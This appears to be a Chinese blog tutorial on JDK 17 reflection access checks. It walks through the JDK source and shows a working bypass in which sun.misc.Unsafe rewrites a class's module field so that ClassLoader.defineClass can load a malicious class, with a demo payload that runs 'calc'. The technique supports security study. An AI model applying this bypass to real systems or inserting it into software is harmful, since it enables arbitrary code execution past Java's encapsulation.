Jdk17 反射限制与绕过 反射的实现 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 @CallerSensitive @ForceInline @IntrinsicCandidate public Object invoke (Object obj, Object... args) throws IllegalAccessException, IllegalArgumentException, InvocationTargetException { if (!override) { Class<?> caller = Reflection.getCallerClass(); checkAccess(caller, clazz, Modifier.isStatic(modifiers) ? null : obj.getClass(), modifiers); } MethodAccessor ma = methodAccessor; if (ma == null ) { ma = acquireMethodAccessor(); } return ma.invoke(obj, args); }
获取到反射调用的对象和方法的时候,首先进行了checkAccess方法,对反射进行了检验
然后调用了 MethodAccessor 类的 invoke 方法进行进一步处理
1 2 3 4 5 MethodAccessor 是一个接口,定义了方法调用的具体操作,而它有三个具体的实现类: sun.reflect.DelegatingMethodAccessorImpl sun.reflect.MethodAccessorImpl sun.reflect.NativeMethodAccessorImpl
判断的逻辑在acquireMethodAccessor() 中
判断缓存中是否存在对应的MethodAccessor 对象,存在就使用代码复用,不存在就调用 ReflectionFactory生成一个
这里把NativeMethodAccessorImpl做为DelegatingMethodAccessorImpl的参数
实际上就是给delegate参数赋值 newMethodAccessor 方法最终返回 DelegatingMethodAccessorImpl 类对象
走到DelegatingMethodAccessorImpl 类的 invoke 中,根据delegate 属性调用invoke方法
在 NativeMethodAccessorImpl 的 invoke 方法里,其会判断调用次数是否超过阀值,然后进行调用
MethodAccessor 实际上就是生成了具体反射类的入口
反射的限制 Migrating From JDK 8 to Later JDK Releases
jdk17是强封装的,意味着java*
包下的所有非public字段,在我们尝试反射调用的时候会报错
1 2 3 4 5 6 7 8 9 public class UserService { public static void main (String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException, InstantiationException { byte [] bytes = Files.readAllBytes(Paths.get("D:\\Desktop\\life\\ctf\\target\\classes\\evil.class" )); Method defineClass= ClassLoader.class.getDeclaredMethod("defineClass" , String.class, byte [].class, int .class, int .class); defineClass.setAccessible(true ); Class<?> shell = (Class<?>) defineClass.invoke(ClassLoader.getSystemClassLoader(), "evil" , bytes, 0 , bytes.length); shell.newInstance(); } }
调用的字节码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import java.io.IOException;public class evil { public evil () { } static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException var1) { var1.printStackTrace(); } } }
在jdk8版本可以正常rce
在jdk17 会抛出如下错误
我们无法通过反射调用java.lang.ClassLoader.defineClass
,这是一个protect的属性
简单调试一下
关注这个checkCanSetAccessible函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 final void checkCanSetAccessible (Class<?> caller, Class<?> declaringClass) { checkCanSetAccessible(caller, declaringClass, true ); } private boolean checkCanSetAccessible (Class<?> caller, Class<?> declaringClass, boolean throwExceptionIfDenied) { if (caller == MethodHandle.class) { throw new IllegalCallerException (); } Module callerModule = caller.getModule(); Module declaringModule = declaringClass.getModule(); if (callerModule == declaringModule) return true ; if (callerModule == Object.class.getModule()) return true ; if (!declaringModule.isNamed()) return true ; String pn = declaringClass.getPackageName(); int modifiers; if (this instanceof Executable) { modifiers = ((Executable) this ).getModifiers(); } else { modifiers = ((Field) this ).getModifiers(); } boolean isClassPublic = Modifier.isPublic(declaringClass.getModifiers()); if (isClassPublic && declaringModule.isExported(pn, callerModule)) { if (Modifier.isPublic(modifiers)) { return true ; } if (Modifier.isProtected(modifiers) && Modifier.isStatic(modifiers) && isSubclassOf(caller, declaringClass)) { return true ; } } if (declaringModule.isOpen(pn, callerModule)) { return true ; } if (throwExceptionIfDenied) { String msg = "Unable to make " ; if (this instanceof Field) msg += "field " ; msg += this + " accessible: " + declaringModule + " does not \"" ; if (isClassPublic && Modifier.isPublic(modifiers)) msg += "exports" ; else msg += "opens" ; msg += " " + pn + "\" to " + callerModule; InaccessibleObjectException e = new InaccessibleObjectException (msg); if (printStackTraceWhenAccessFails()) { e.printStackTrace(System.err); } throw e; } return false ; }
可以看到返回true的条件如下
1 2 3 4 5 6 1.调用的变量所在模块和调用者所在模块相同 2.调用者所在模块跟Object所在模块相同 3.调用模块没有定义 4.调用属性值是public 5.调用属性是protected并且是static 6.在模块define中,定义了该属性值是open的
unsafe类 Unsafe是位于sun.misc包下的一个类,主要提供一些用于执行低级别、不安全操作的方法,如直接访问系统内存资源、自主管理内存资源等,这些方法在提升Java运行效率、增强Java语言底层资源操作能力方面起到了很大的作用。但由于Unsafe类使Java语言拥有了类似C语言指针一样操作内存空间的能力,这无疑也增加了程序发生相关指针问题的风险。在程序中过度、不正确使用Unsafe类会使得程序出错的概率变大,使得Java这种安全的语言变得不再“安全”,因此对Unsafe的使用一定要慎重。
需要注意的是仅当调用getUnsafe方法的类为引导类加载器所加载时才合法,否则抛出SecurityException异常
该类位于sun.misc下,所以不受反射限制,我们可以通过反射获取相关类的实例
1 2 3 4 5 Class<?> unsafe=Class.forName("sun.misc.Unsafe" ); Field field= unsafe.getDeclaredField("theUnsafe" ); field.setAccessible(true ); Unsafe unsafeclass = (Unsafe) field.get(null );System.out.println(unsafeclass);
unsafen内部提供了很多系统层的操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 // 返回对象成员属性在内存地址相对于此对象的内存地址的偏移量 public native long objectFieldOffset(Field f); // 获得给定对象的指定地址偏移量的值,与此类似操作还有:getInt,getDouble,getLong,getChar等 public native Object getObject(Object o, long offset); // 给定对象的指定地址偏移量设值,与此类似操作还有:putInt,putDouble,putLong,putChar等 public native void putObject(Object o, long offset, Object x); // 从对象的指定偏移量处获取变量的引用,使用volatile的加载语义 public native Object getObjectVolatile(Object o, long offset); // 存储变量的引用到对象的指定的偏移量处,使用volatile的存储语义 public native void putObjectVolatile(Object o, long offset, Object x); // 有序、延迟版本的putObjectVolatile方法,不保证值的改变被其他线程立即看到。只有在field被volatile修饰符修饰时有效 public native void putOrderedObject(Object o, long offset, Object x); // 绕过构造方法、初始化代码来创建对象 public native Object allocateInstance(Class<?> cls) throws InstantiationException;
Module_bypass 我们可以获取到当前调用对象之后,使用unsafe类修改当前的module(调用类)与object类相同,这样就可以绕过bypass
1 2 3 4 5 6 7 8 9 10 Class<?> unsafe=Class.forName("sun.misc.Unsafe" ); Field field= unsafe.getDeclaredField("theUnsafe" ); field.setAccessible(true ); Unsafe unsafeclass = (Unsafe) field.get(null ); Module baseModule=Object.class.getModule(); Class<?> currentClass= UserService.class; long addr=unsafeclass.objectFieldOffset(Class.class.getDeclaredField("module" )); unsafeclass.getAndSetObject(currentClass,addr,baseModule);
再次尝试反射调用defineclass加载恶意字节码看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public class UserService { public static void main (String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException, InstantiationException, ClassNotFoundException, NoSuchFieldException { Class<?> unsafe=Class.forName("sun.misc.Unsafe" ); Field field= unsafe.getDeclaredField("theUnsafe" ); field.setAccessible(true ); Unsafe unsafeclass = (Unsafe) field.get(null ); Module baseModule=Object.class.getModule(); Class<?> currentClass= UserService.class; long addr=unsafeclass.objectFieldOffset(Class.class.getDeclaredField("module" )); unsafeclass.getAndSetObject(currentClass,addr,baseModule); byte [] bytes = Files.readAllBytes(Paths.get("D:\\Desktop\\life\\ctf\\target\\classes\\evil.class" )); Method defineClass= ClassLoader.class.getDeclaredMethod("defineClass" , String.class, byte [].class, int .class, int .class); defineClass.setAccessible(true ); Class<?> shell = (Class<?>) defineClass.invoke(ClassLoader.getSystemClassLoader(), "evil" , bytes, 0 , bytes.length); shell.newInstance(); } }
成功反射,绕过限制
调试以下,看看区别。
可以看到成功修改了这里的module
也可以修改被调用的对象与当前的对象相同,也就是获取到java.*下的module和当前这个代码的相同,不过可能会报错(
利用 patch当前对象类的module